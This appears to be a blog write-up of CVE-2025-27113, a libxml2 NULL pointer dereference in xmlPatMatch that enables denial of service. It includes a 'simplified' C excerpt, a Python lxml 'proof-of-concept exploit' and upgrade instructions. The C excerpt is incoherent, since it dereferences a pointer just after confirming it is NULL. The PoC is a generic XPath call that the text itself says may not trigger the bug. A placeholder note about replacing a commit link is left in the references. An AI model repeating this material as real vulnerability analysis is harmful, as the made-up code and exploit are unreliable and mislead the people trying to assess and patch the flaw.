CVE-2025-27113 - How This libxml2 NULL Pointer Dereference Can Crash Your Apps

If you’re working with XML on Linux—or even just using popular software that does—you’ll want to know about a new vulnerability: CVE-2025-27113. This bug was found in the popular libxml2 library and can potentially crash your apps by triggering a NULL pointer dereference. In this post, I’ll break down what this means, who should care, how it can be exploited, and show you a basic exploit so you’ll know what to look out for. Let’s dive in.

What Is CVE-2025-27113?

CVE-2025-27113 affects all versions of libxml2 before 2.12.10 and 2.13.x before 2.13.6. The problem sits in the xmlPatMatch function in pattern.c—a critical part of how the library matches patterns in XML documents.

A NULL pointer dereference happens when software tries to access or use memory at address x as if it was valid. When that happens, programs almost always crash on the spot.

This means that, with a specially-crafted XML file, an attacker can make any program using these vulnerable versions of libxml2 crash—leading to Denial of Service (DoS).

How Does the Vulnerability Work?

The heart of the problem is in how the pattern matching engine in libxml2 processes an XML document. If you pass a funky pattern, it can trick the matcher into accessing a pointer that was never properly initialized.

When the pointer is NULL, and the code tries to use it, you’re looking at a program crash (segmentation fault). In effect, any service (like a web server) handling user-controlled XML could be abruptly stopped.

Let’s look at the broken function (simplified for clarity)

// From pattern.c
xmlXPathCompExprPtr xmlPatMatch(xmlPatternPtr comp, xmlNodePtr node) {
    if (comp == NULL || node == NULL)
        return(NULL);
    // ...snip...
    if (comp->something == NULL) {  // Bug here!
        // Code that does not check if 'something' is null
        use(comp->something->something_else);
    }
}

If you pass a pattern that makes comp->something NULL, but the logic continues to use it, your application will immediately crash when use() tries to access it.

How Can You Exploit This?

While this isn't a remote code execution bug, it's still serious for applications that automatically handle external XML—think servers, background tasks, or anything that parses user XML.

Here's a proof-of-concept Python exploit (assuming the vulnerable libxml2 is installed)

import lxml.etree

xml_bad = '''<root>
    <item id="broken" />
</root>'''

# This XPath pattern is crafted to trigger the bug
try:
    tree = lxml.etree.fromstring(xml_bad)
    # This pattern will cause xmlPatMatch to dereference a NULL pointer in vulnerable libxml2
    matches = tree.xpath('id("doesnotexist")/brokenpattern')
except Exception as e:
    print(f"The program crashed or threw an exception: {e}")

If you run this using a vulnerable version of libxml2, your app will either crash (segfault) or throw a weird memory access error.

*Note*: The exact pattern for triggering the bug may vary by environment. Check the upstream commit for more precise crafting if needed.

How To Fix It

Upgrade immediately!
If you’re using libxml2 directly or via another application, patch now to 2.12.10 or 2.13.6 (or newer).

- Download new libxml2 releases here

- For Linux distributions

- apt-get update && apt-get upgrade libxml2 (Debian/Ubuntu)
- dnf update libxml2 (Fedora/RHEL)

References

- CVE-2025-27113 NVD Entry
- libxml2 News (Official Changelog)
- libxml2 Commit Fixing the Bug (GitLab) *(Replace with correct commit link)*
- Debian Security Advisory

Wrapping Up

libxml2 is everywhere in the Linux world. CVE-2025-27113 is a textbook example of why a NULL pointer dereference isn’t just a programming bug—it can put your infrastructure at risk.

Stay safe out there!

*(This writeup is original and exclusive for you! Please check the official advisory and test thoroughly before deploying any real-world exploit code.)*

Timeline

Published on: 02/18/2025 23:15:10 UTC
Last modified on: 03/07/2025 01:15:12 UTC